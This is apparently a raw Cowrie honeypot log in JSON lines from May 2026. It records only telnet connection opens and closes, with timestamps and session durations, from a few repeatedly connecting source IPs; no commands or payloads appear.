{"eventid":"cowrie.session.closed","duration":30.77658748626709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:57.240647Z","src_ip":"62.182.85.24","session":"e90f4409988d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54530,"dst_ip":"159.203.135.109","dst_port":23,"session":"01053bc5142c","protocol":"telnet","message":"New connection: 194.163.135.148:54530 (159.203.135.109:23) [session: 01053bc5142c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:57.357638Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":59084,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9b9cc8e5546","protocol":"telnet","message":"New connection: 62.182.85.24:59084 (10.17.0.5:23) [session: e9b9cc8e5546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:57.924017Z"}
{"eventid":"cowrie.session.closed","duration":31.39453911781311,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:58.500826Z","src_ip":"62.182.85.24","session":"201276ca0aec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54532,"dst_ip":"159.203.135.109","dst_port":23,"session":"196c5a6afe08","protocol":"telnet","message":"New connection: 194.163.135.148:54532 (159.203.135.109:23) [session: 196c5a6afe08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:58.814162Z"}
{"eventid":"cowrie.session.closed","duration":33.81844925880432,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:59.536554Z","src_ip":"62.182.85.24","session":"bbf68808ace5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.02470827102661,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:59.557084Z","src_ip":"194.163.135.148","session":"291584f64980","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":36220,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b44b793b47f","protocol":"telnet","message":"New connection: 62.182.85.24:36220 (10.17.0.5:23) [session: 3b44b793b47f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:02:59.596611Z"}
{"eventid":"cowrie.session.closed","duration":34.04353666305542,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:00.170950Z","src_ip":"62.182.85.24","session":"9c6cd146476c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91048789024353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:00.261721Z","src_ip":"194.163.135.148","session":"07c4b31cabcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.123581886291504,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:00.496921Z","src_ip":"194.163.135.148","session":"4735eb16bd0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":44602,"dst_ip":"10.17.0.5","dst_port":23,"session":"1075dcc182c3","protocol":"telnet","message":"New connection: 62.182.85.24:44602 (10.17.0.5:23) [session: 1075dcc182c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:00.644197Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":51644,"dst_ip":"10.17.0.5","dst_port":23,"session":"2604bd4130f1","protocol":"telnet","message":"New connection: 62.182.85.24:51644 (10.17.0.5:23) [session: 2604bd4130f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:01.479822Z"}
{"eventid":"cowrie.session.closed","duration":20.934893369674683,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:02.146311Z","src_ip":"62.182.85.24","session":"6e332d667afc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885222673416138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:02.243910Z","src_ip":"62.182.85.24","session":"34ad2fb58960","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":43536,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb1407dbc7ae","protocol":"telnet","message":"New connection: 62.182.85.24:43536 (10.17.0.5:23) [session: cb1407dbc7ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:02.938062Z"}
{"eventid":"cowrie.session.closed","duration":31.39876651763916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:03.918269Z","src_ip":"62.182.85.24","session":"46ee4286183e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.219827890396118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:04.745887Z","src_ip":"62.182.85.24","session":"ce7f9da40878","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":60898,"dst_ip":"10.17.0.5","dst_port":23,"session":"f806b392935a","protocol":"telnet","message":"New connection: 62.182.85.24:60898 (10.17.0.5:23) [session: f806b392935a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:04.982705Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":39262,"dst_ip":"10.17.0.5","dst_port":23,"session":"c33643d50575","protocol":"telnet","message":"New connection: 62.182.85.24:39262 (10.17.0.5:23) [session: c33643d50575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:05.799328Z"}
{"eventid":"cowrie.session.closed","duration":30.603353023529053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:06.144844Z","src_ip":"62.182.85.24","session":"3356312d9ac4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":42592,"dst_ip":"10.17.0.5","dst_port":23,"session":"f597d6cbcde6","protocol":"telnet","message":"New connection: 62.182.85.24:42592 (10.17.0.5:23) [session: f597d6cbcde6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:07.176981Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":54236,"dst_ip":"10.17.0.5","dst_port":23,"session":"88f955b6078d","protocol":"telnet","message":"New connection: 62.182.85.24:54236 (10.17.0.5:23) [session: 88f955b6078d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:07.610524Z"}
{"eventid":"cowrie.session.closed","duration":31.85242462158203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:07.800989Z","src_ip":"62.182.85.24","session":"f54bfd871031","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54572,"dst_ip":"159.203.135.109","dst_port":23,"session":"5561923056a0","protocol":"telnet","message":"New connection: 194.163.135.148:54572 (159.203.135.109:23) [session: 5561923056a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:08.344503Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":60546,"dst_ip":"10.17.0.5","dst_port":23,"session":"abb6d17d6faa","protocol":"telnet","message":"New connection: 62.182.85.24:60546 (10.17.0.5:23) [session: abb6d17d6faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:08.384713Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":54244,"dst_ip":"10.17.0.5","dst_port":23,"session":"98d4d469b683","protocol":"telnet","message":"New connection: 62.182.85.24:54244 (10.17.0.5:23) [session: 98d4d469b683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:08.617744Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":39560,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b152c23ab31","protocol":"telnet","message":"New connection: 62.182.85.24:39560 (10.17.0.5:23) [session: 5b152c23ab31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:10.240239Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54582,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4b0405a30cd","protocol":"telnet","message":"New connection: 194.163.135.148:54582 (159.203.135.109:23) [session: b4b0405a30cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:10.295732Z"}
{"eventid":"cowrie.session.closed","duration":31.38523530960083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:10.711274Z","src_ip":"62.182.85.24","session":"3fe154b13a45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.189430713653564,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:10.942231Z","src_ip":"194.163.135.148","session":"32941d20b0c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.707603931427,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:11.428703Z","src_ip":"194.163.135.148","session":"60ad04055140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":52476,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ed7ae3fd501","protocol":"telnet","message":"New connection: 62.182.85.24:52476 (10.17.0.5:23) [session: 2ed7ae3fd501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:11.735643Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":57580,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ae92cfa29a","protocol":"telnet","message":"New connection: 62.182.85.24:57580 (10.17.0.5:23) [session: 63ae92cfa29a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:12.362574Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":37486,"dst_ip":"10.17.0.5","dst_port":23,"session":"7577b3b8a8d9","protocol":"telnet","message":"New connection: 62.182.85.24:37486 (10.17.0.5:23) [session: 7577b3b8a8d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:12.384067Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":39162,"dst_ip":"10.17.0.5","dst_port":23,"session":"012eedb93080","protocol":"telnet","message":"New connection: 62.182.85.24:39162 (10.17.0.5:23) [session: 012eedb93080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:12.556379Z"}
{"eventid":"cowrie.session.closed","duration":31.83150815963745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:13.058192Z","src_ip":"194.163.135.148","session":"21c5dac5b720","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80340886116028,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:13.206133Z","src_ip":"62.182.85.24","session":"405fc1d05594","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09679079055786,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:13.889768Z","src_ip":"62.182.85.24","session":"04176dcd84fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":50328,"dst_ip":"10.17.0.5","dst_port":23,"session":"69253f174dd3","protocol":"telnet","message":"New connection: 62.182.85.24:50328 (10.17.0.5:23) [session: 69253f174dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:13.960899Z"}
{"eventid":"cowrie.session.closed","duration":30.776600122451782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:14.195856Z","src_ip":"62.182.85.24","session":"e913610e1ebf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.4251606464386,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:14.362549Z","src_ip":"194.163.135.148","session":"3a2729745d31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":59784,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c76f4cc7cbf","protocol":"telnet","message":"New connection: 62.182.85.24:59784 (10.17.0.5:23) [session: 0c76f4cc7cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:15.149705Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":60478,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cab9e7dfed2","protocol":"telnet","message":"New connection: 62.182.85.24:60478 (10.17.0.5:23) [session: 5cab9e7dfed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:15.241271Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":33168,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc137bd04253","protocol":"telnet","message":"New connection: 62.182.85.24:33168 (10.17.0.5:23) [session: dc137bd04253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:15.384426Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":42076,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1bf3c40b0cd","protocol":"telnet","message":"New connection: 103.82.231.165:42076 (10.17.0.5:23) [session: a1bf3c40b0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:15.513180Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54608,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a8706fcc399","protocol":"telnet","message":"New connection: 194.163.135.148:54608 (159.203.135.109:23) [session: 5a8706fcc399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:17.204138Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54612,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ba4bc10f11d","protocol":"telnet","message":"New connection: 194.163.135.148:54612 (159.203.135.109:23) [session: 6ba4bc10f11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:17.211958Z"}
{"eventid":"cowrie.session.closed","duration":39.73758816719055,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:17.221414Z","src_ip":"62.182.85.24","session":"f994838169cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.131789922714233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:17.361810Z","src_ip":"62.182.85.24","session":"46ce64970cd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.236469745635986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:18.324862Z","src_ip":"62.182.85.24","session":"812268ccb631","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.172250509262085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:18.435669Z","src_ip":"62.182.85.24","session":"884f255ecb81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54606,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa90b5a99464","protocol":"telnet","message":"New connection: 194.163.135.148:54606 (159.203.135.109:23) [session: fa90b5a99464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:18.877091Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":46688,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7e2f539215e","protocol":"telnet","message":"New connection: 62.182.85.24:46688 (10.17.0.5:23) [session: d7e2f539215e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:19.094869Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":34606,"dst_ip":"10.17.0.5","dst_port":23,"session":"03dba9f57a40","protocol":"telnet","message":"New connection: 62.182.85.24:34606 (10.17.0.5:23) [session: 03dba9f57a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:19.132288Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":36762,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc77d735e647","protocol":"telnet","message":"New connection: 62.182.85.24:36762 (10.17.0.5:23) [session: dc77d735e647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:19.425583Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":47740,"dst_ip":"10.17.0.5","dst_port":23,"session":"87186e764a9a","protocol":"telnet","message":"New connection: 103.82.231.165:47740 (10.17.0.5:23) [session: 87186e764a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:19.683329Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":60362,"dst_ip":"10.17.0.5","dst_port":23,"session":"17625628c8c7","protocol":"telnet","message":"New connection: 62.182.85.24:60362 (10.17.0.5:23) [session: 17625628c8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:19.835162Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":47432,"dst_ip":"10.17.0.5","dst_port":23,"session":"de7800565993","protocol":"telnet","message":"New connection: 62.182.85.24:47432 (10.17.0.5:23) [session: de7800565993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:20.737042Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":45478,"dst_ip":"10.17.0.5","dst_port":23,"session":"3494599b942e","protocol":"telnet","message":"New connection: 62.182.85.24:45478 (10.17.0.5:23) [session: 3494599b942e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:20.950518Z"}
{"eventid":"cowrie.session.closed","duration":30.9786593914032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:21.282181Z","src_ip":"62.182.85.24","session":"2198f2984db3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":37272,"dst_ip":"10.17.0.5","dst_port":23,"session":"85fe64c7b49c","protocol":"telnet","message":"New connection: 62.182.85.24:37272 (10.17.0.5:23) [session: 85fe64c7b49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:21.499783Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54628,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7f7ef54bcea","protocol":"telnet","message":"New connection: 194.163.135.148:54628 (159.203.135.109:23) [session: d7f7ef54bcea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:21.601225Z"}
{"eventid":"cowrie.session.closed","duration":31.18143653869629,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:21.864970Z","src_ip":"194.163.135.148","session":"0c20f4a84b39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.663740158081055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:22.013136Z","src_ip":"103.82.231.165","session":"680d5e52dfee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.481398820877075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:22.137104Z","src_ip":"62.182.85.24","session":"a4e5dc7a2453","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":51288,"dst_ip":"10.17.0.5","dst_port":23,"session":"1125128de8c6","protocol":"telnet","message":"New connection: 62.182.85.24:51288 (10.17.0.5:23) [session: 1125128de8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:22.237351Z"}
{"eventid":"cowrie.session.closed","duration":34.03414821624756,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:22.535531Z","src_ip":"62.182.85.24","session":"65ed0f8c9c4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":33850,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca0601102c52","protocol":"telnet","message":"New connection: 62.182.85.24:33850 (10.17.0.5:23) [session: ca0601102c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:22.562056Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":41758,"dst_ip":"10.17.0.5","dst_port":23,"session":"51d345e2491e","protocol":"telnet","message":"New connection: 62.182.85.24:41758 (10.17.0.5:23) [session: 51d345e2491e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:23.548293Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54618,"dst_ip":"159.203.135.109","dst_port":23,"session":"d22f2bba6b21","protocol":"telnet","message":"New connection: 194.163.135.148:54618 (159.203.135.109:23) [session: d22f2bba6b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:23.769179Z"}
{"eventid":"cowrie.session.closed","duration":33.57641315460205,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:24.243207Z","src_ip":"62.182.85.24","session":"344276048513","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":50062,"dst_ip":"10.17.0.5","dst_port":23,"session":"592d7494eaed","protocol":"telnet","message":"New connection: 62.182.85.24:50062 (10.17.0.5:23) [session: 592d7494eaed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:24.524112Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":41424,"dst_ip":"10.17.0.5","dst_port":23,"session":"d688513c07a1","protocol":"telnet","message":"New connection: 103.82.231.165:41424 (10.17.0.5:23) [session: d688513c07a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:24.576995Z"}
{"eventid":"cowrie.session.closed","duration":31.53650188446045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:25.238435Z","src_ip":"62.182.85.24","session":"d5f13390edca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":57264,"dst_ip":"10.17.0.5","dst_port":23,"session":"24c986f573cb","protocol":"telnet","message":"New connection: 62.182.85.24:57264 (10.17.0.5:23) [session: 24c986f573cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:25.410861Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":35316,"dst_ip":"10.17.0.5","dst_port":23,"session":"89287bdcba72","protocol":"telnet","message":"New connection: 62.182.85.24:35316 (10.17.0.5:23) [session: 89287bdcba72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:26.213261Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":57758,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc6be762f33f","protocol":"telnet","message":"New connection: 62.182.85.24:57758 (10.17.0.5:23) [session: dc6be762f33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:26.465585Z"}
{"eventid":"cowrie.session.closed","duration":30.639286279678345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:26.533867Z","src_ip":"194.163.135.148","session":"ed479a3ac0fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.584473133087158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:03:27.196314Z","src_ip":"62.182.85.24","session":"9290441afb5d","protocol":"telnet"}
